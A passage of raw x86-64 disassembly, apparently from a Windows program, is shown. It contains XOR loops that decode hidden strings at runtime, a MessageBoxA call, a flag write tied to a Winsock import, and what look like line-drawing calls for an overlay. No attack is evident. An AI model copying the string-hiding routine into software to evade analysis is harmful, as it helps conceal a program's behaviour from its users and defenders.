shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140096840
cmp r8d, 0x32
jge 0x140096991
movsxd rax, r8d
lea r9, [rbp + 0xa98]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x32
jl 0x140096960
mov r9d, 0x40
lea r8, [rbp + 0x190]
lea rdx, [rbp + 0xa98]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call fcn.140068ae0
mov dword [rbp + 0x4c8], 0x42480000
mov dword [rbp + 0x4cc], 0x43b90000
lea rcx, [rbp + 0x4c8]
call fcn.140025c50
movaps xmm7, xmmword [0x140164420]
mov dword [rbp + 0x4d0], 0x43f50000
mov dword [rbp + 0x4d4], 0x42200000
movups xmm0, xmmword [str.tPYP]
movups xmmword [rbp + 0x6f8], xmm0
mov eax, dword [0x140161c80]
mov dword [rbp + 0x708], eax
movzx eax, byte [0x140161c84]
mov byte [rbp + 0x70c], al
cmp esi, 2
jl 0x140096b5c
movdqa xmm5, xmmword [0x1401222b0]
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm6, xmmword [0x140164330]
movdqa xmm0, xmmword [0x1401643c0]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x6fc]
mov edx, dword [rsp + 0x50]
nop
movd xmm2, r12d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r12 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r12d, 8
mov eax, r12d
lea rcx, [rcx + 8]
cmp r12d, 0x10
jl 0x140096a50
cmp eax, 0x15
jge 0x140096ba1
movsxd rax, r12d
lea r8, [rbp + 0x6f8]
add r8, rax
nop dword [rax]
mov eax, 0x94f2095
imul r12d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r12b
xor byte [r8], cl
inc r12d
lea r8, [r8 + 1]
cmp r12d, 0x15
jl 0x140096b70
movups xmm0, xmmword [0x140196300]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmmword [rsp + 0x50], xmm7
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x140196818]
mov qword [rsp + 0x28], rax
lea rax, [0x140196810]
mov qword [rsp + 0x20], rax
lea r9, [0x140196808]
xor r8d, r8d
lea rdx, [rbp + 0x4d0]
lea rcx, [rbp + 0x6f8]
call fcn.14003f490
test al, al
je 0x140096c22
mov byte [reloc.WS2_32.dll_accept], 0
mov byte [0x1401976fa], 0
mov byte [0x1401976fb], 1
mov rcx, r15
call fcn.140025a50
mov dword [rbp + 0x4d8], 0x440c0000
mov dword [rbp + 0x4dc], 0x40a00000
lea rcx, [rbp + 0x4d8]
call fcn.140025c50
movaps xmm0, xmmword [0x140164430]
movaps xmm1, xmmword [0x140164400]
mov dword [rbp + 0x5a0], 0x41a00000
mov dword [rbp + 0x5a4], 0x41f00000
movzx eax, word [0x140161c88]
mov word [rbp - 0x78], ax
cmp byte [0x140161c89], 0
je 0x140096c8c
mov byte [rbp - 0x78], 0x78
xor byte [rbp - 0x77], 0x38
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmmword [rsp + 0x50], xmm1
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rax, [0x140196860]
mov qword [rsp + 0x28], rax
lea rax, [0x140196858]
mov qword [rsp + 0x20], rax
lea r9, [0x140196850]
xor r8d, r8d
lea rdx, [rbp + 0x5a0]
lea rcx, [rbp - 0x78]
call fcn.14003fdd0
test al, al
je 0x140096ced
mov byte [reloc.WS2_32.dll_accept], 0
call fcn.140015b10
mov ecx, 2
call fcn.1400214f0
mov ecx, 1
call fcn.1400215a0
mov rcx, qword [0x140197610]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rbx, qword [rcx + 0x1d18]
mov dword [rbp + 0x4e8], 0
mov dword [rbp + 0x4ec], 0x43e50000
lea rcx, [rbp + 0x4e8]
call fcn.140025c50
movss xmm7, dword [rbx + 0x118]
movss xmm6, dword [rbx + 0x11c]
movss xmm8, dword [0x1401642dc]
movss xmm9, dword [0x14011cf54]
movaps xmm3, xmm9
movaps xmm2, xmm8
movaps xmm0, xmm8
unpcklps xmm0, xmm9
movq rdx, xmm0
lea rcx, [rbp + 0x10e8]
call fcn.140009a50
movaps xmm1, xmm7
addss xmm1, dword [rbp + 0x10e8]
movaps xmm0, xmm6
addss xmm0, dword [rbp + 0x10ec]
movss dword [rbp + 0x1130], xmm7
movss dword [rbp + 0x1134], xmm6
movss dword [rbp + 0x1138], xmm1
movss dword [rbp + 0x113c], xmm0
mov dword [rsp + 0x30], 0xff3366cc
mov dword [rsp + 0x28], 0xff3366cc
mov dword [rsp + 0x20], 0xff3366cc
mov r9d, 0xff3366cc
lea r8, [rbp + 0x1138]
lea rdx, [rbp + 0x1130]
mov rcx, qword [rbx + 0x2f8]
call fcn.14002f720
mov qword [rbp + 0x4f0], 0
lea rcx, [rbp + 0x4f0]
call fcn.140025c50
movss xmm6, dword [rbx + 0x118]
movss xmm7, dword [rbx + 0x11c]
movaps xmm3, xmm9
movaps xmm2, xmm8
movaps xmm0, xmm8
unpcklps xmm0, xmm9
movq rdx, xmm0
lea rcx, [rbp + 0x1168]
call fcn.140009a50
movaps xmm1, xmm6
addss xmm1, dword [rbp + 0x1168]
movaps xmm0, xmm7
addss xmm0, dword [rbp + 0x116c]
movss dword [rbp + 0x1120], xmm6
movss dword [rbp + 0x1124], xmm7
movss dword [rbp + 0x1128], xmm1
movss dword [rbp + 0x112c], xmm0
mov dword [rsp + 0x30], 0xff3366cc
mov dword [rsp + 0x28], 0xff3366cc
mov dword [rsp + 0x20], 0xff3366cc
mov r9d, 0xff3366cc
lea r8, [rbp + 0x1128]
lea rdx, [rbp + 0x1120]
mov rcx, qword [rbx + 0x2f8]
call fcn.14002f720
mov dword [rbp + 0x4f8], 0x43160000
mov dword [rbp + 0x4fc], 0xbf800000
lea rcx, [rbp + 0x4f8]
call fcn.140025c50
movss xmm6, dword [rbx + 0x118]
movss xmm7, dword [rbx + 0x11c]
movaps xmm3, xmm10
movaps xmm2, xmm9
movaps xmm0, xmm9
unpcklps xmm0, xmm10
movq rdx, xmm0
lea rcx, [rbp + 0x10e0]
call fcn.140009a50
movaps xmm1, xmm6
addss xmm1, dword [rbp + 0x10e0]
movaps xmm0, xmm7
addss xmm0, dword [rbp + 0x10e4]
movss dword [rbp + 0x10f0], xmm6
movss dword [rbp + 0x10f4], xmm7
movss dword [rbp + 0x10f8], xmm1
movss dword [rbp + 0x10fc], xmm0
mov dword [rsp + 0x30], 0xff3366cc
mov dword [rsp + 0x28], 0xff3366cc
mov dword [rsp + 0x20], 0xff3366cc
mov r9d, 0xff3366cc
lea r8, [rbp + 0x10f8]
lea rdx, [rbp + 0x10f0]
mov rcx, qword [rbx + 0x2f8]
call fcn.14002f720
call fcn.1400155f0
mov rcx, qword [rbp + 0x11f8]
xor rcx, rsp
call fcn.14010fd70
lea r11, [rsp + 0x1378]
movaps xmm6, xmmword [r11 - 0x18]
movaps xmm7, xmmword [r11 - 0x28]
movaps xmm8, xmmword [r11 - 0x38]
movaps xmm9, xmmword [r11 - 0x48]
movaps xmm10, xmmword [r11 - 0x58]
movaps xmm11, xmmword [r11 - 0x68]
movaps xmm12, xmmword [r11 - 0x78]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3